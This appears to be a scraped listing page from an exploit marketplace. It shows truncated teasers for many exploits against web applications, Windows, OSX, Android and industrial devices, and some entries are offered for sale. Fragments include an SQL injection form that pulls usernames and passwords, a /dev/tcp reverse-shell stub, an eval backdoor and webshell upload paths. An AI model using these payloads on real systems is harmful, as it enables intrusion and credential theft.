Wordpress NOSpamPTI Plugin - Blind SQL Injection Vulnerability

Exploit for php platform in category web applications NOSpamPTI Wordpress plugin Blind SQL Injection Vendor product description NOSpamPTI eliminates the spam in your comment box so strong and free, developed from the idea of Nando Vieira http://bit.ly/d38gB8, but some themes do not support change...

tb.mscc.com.eg XSS Vulnerability

Exploit for java platform in category web applications This is private exploit. You can buy it at https://0day.today...

Firefox 23/24/26(Nightly) Android 0day remote code execute apk file

This exploit is using human greed and little magic. First, at remote telephone must be enabled "Install apk from unknown sources". Second, at some Android devices more than one application, which can install apk files. For the successful execution apk file, target phone must use standart apk...

KingView 6.53 - Insecure ActiveX Control (SuperGrid)

Exploit for windows platform in category local exploits KingView Insecure ActiveX Control Proof of Concept - SuperGrid.ocx This proof of concept will copy any arbritrary file from one location to a second location. A malicious user may be able to use this to copy a file from an attacker controlle...

cnzz CMS SQL Injection Vulnerability

Exploit for php platform in category web applications 1010101010101010101010101010101010101010101010101 0 0 1 /'\ /' /\ \ 1 0 /\ \ \ /, \ \ \ 0 1 //\ Dr.3v1l 0 1 0WebSecurity.IR 1 0 0 1 + E-Mail : email protected 1 0 + Y! : Doctor.3v1l 0 1 1 0 0 1 I'm 3v1l member from BlackDevils B0ys Team 1 0...

OSX <= 10.8.4 - Local Root Priv Escalation (py)

Exploit for iOS platform in category local exploits !/usr/bin/python Original MSF Module: https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/osx/local/sudopasswordbypass.rb Exploit Title: OSX & /dev/tcp/%s/%s...

Facebook Send Messages From Anyone 0day

This Exploit allowed you to send messages from any person to any one on facebook. Оld vulnerabilities shows a yellow triangle after receiving the message. User notices that something was wrong, way is DETECTED by facebook. This exploit goes unnoticed. YELLOW TRIANGLE is not present, the user is...

PCMAN FTP 2.07 STOR Command - Buffer Overflow Exploit

Exploit for windows platform in category remote exploits !/usr/bin/python Exploit Title: PCMAN FTP 2.07 STOR Command - buffer overflow Date: 18 Agosto 2013 Exploit Author: Christian Polunchis Ramirez https://intrusionlabs.org Contact: email protected Version: PCMAN FTP 2.07 STOR Command Tested on...

shopex 4.8.5 api. php injection vulnerability 0day exp-vulnerability warning-the black bar safety net

form method='post' action='http://www.webshell.cc/api.php?act=searchdlytype&apiversion=1.0' columns:input type='text' value='1,2,SELECT concatusername,0x7c,userpass FROM sdboperators limit 0,1 as name' name='columns' style='width:8 0%'/br / input type='submit' value='submit' /br / /form script...

VoltEdit CMS SQL Injection / Shell Upload Vulnerabilities

VoltEdit CMS suffers from administrative login bypass due to remote SQL injection and allows for PHP shells to be uploaded. Note that this finding houses site-specific data. ========================================================================================== VoltEdit CMS SQL Injection Admin...

WordPress Trafficanalyzer Plugin XSS Vulnerability

WordPress Trafficanalyzer Plugin is prone to a cross-site scripting vulnerability because it fails to sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the...

Omnistar Affiliate Software - XSS Vulnerability

Exploit for php platform in category web applications 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 1 1 /' \ /'\ /\ \ /'\ 0 0 /, \ /\/\ \ \ \ \ ,/\ /\ \ 1 1 //\ \ /' \ /\ //\ Exploit database separated by exploit 0 0 // type local, remote, DoS, etc. 1 1 1 0 +...

FunGamez Remote File Upload Vulnerability

Exploit for php platform in category web applications Source FunGamez/admin/modules/game.php .......... 135 And your shell will be available here: http://localhost/FunGamez/data/flash/shell.php 0day.today 2018-03-12...

Galil-RIO Modbus - Denial of Service

Exploit for hardware platform in category dos / poc Exploit Title: Galil RIO-47100 Date: 05-01-2013 Exploit Author: Sapling Vendor Homepage: www.galilmc.com Version: Rio Firmware Prior to 1.1d CVE : CVE-2013-0699 ICSA: ICSA-13-116-01 / There are many different ways to crash this PLC but most of...

Windu CMS 2.2 Cross Site Request Forgery Vulnerability

Windu CMS version 2.2 suffers from a cross site request forgery vulnerability. Windu CMS 2.2 CSRF Add Admin Exploit form method="POST" action="http://localhost/winducms/a...

metinfo 5.1.7 getshell 0day vulnerabilities attached to the use of the Exp-bug warning-the black bar safety net

1:code analysis about/index.php $filpy = basenamedirnameFILE; $fmodule=1; requireonce ‘../include/module.php’; requireonce $module; Binding metinfo global variables covering the mechanisms can contain files Test:http://w/coder/metinfo/about/? module=../robots. txt&fmodule=7 2:getshell Find a can...

JDWP Arbitrary Java Code Execution Exploitation

This is a whitepaper discussing arbitrary java code execution leveraging the Java Debugging Wire Protocol JDWP. JDWP Arbitrary Java Code Execution Exploitation =============================================== Java Debugging Wire Protocol JDWP is the lowlevel protocol used for communication between...

vBulletin 4.0.x SQL Injection Vulnerability

vBulletin version 4.0.x appears to suffer from a remote SQL injection vulnerability in the administrative functionality. Exploit Title: vBulletin force Read Thread 0day Authors: n3tw0rk Contact: Mail:email protected Product: 4.0.x Software Version x.x.x Product Download:...

Chinese knife maicaidao website management software 0day-vulnerability warning-the black bar safety net

Today tried under the“Chinese knife”this C/S WEB Management Software, found a fatal vulnerability Even if you set a password, use the eval$REQUEST'moyo'; But others still may not know the connection password is moyo directly without the use of your word Backdoor Because$REQUEST'moyo'transfer of t...

Kate's Video Toolkit Version 7.0 (.wav) - Crash POC

Kate's Video Toolkit version 7.0 crash proof of concept denial of service exploit that creates a malicious WAV file. Exploit Title: Kate's Video Toolkit Version 7.0 .wav - Crash POC Date: 14-07-2013 Exploit Author: ariarat Vendor Homepage: http://fakewebcam.com/Free-Video-Toolkit.asp Software Lin...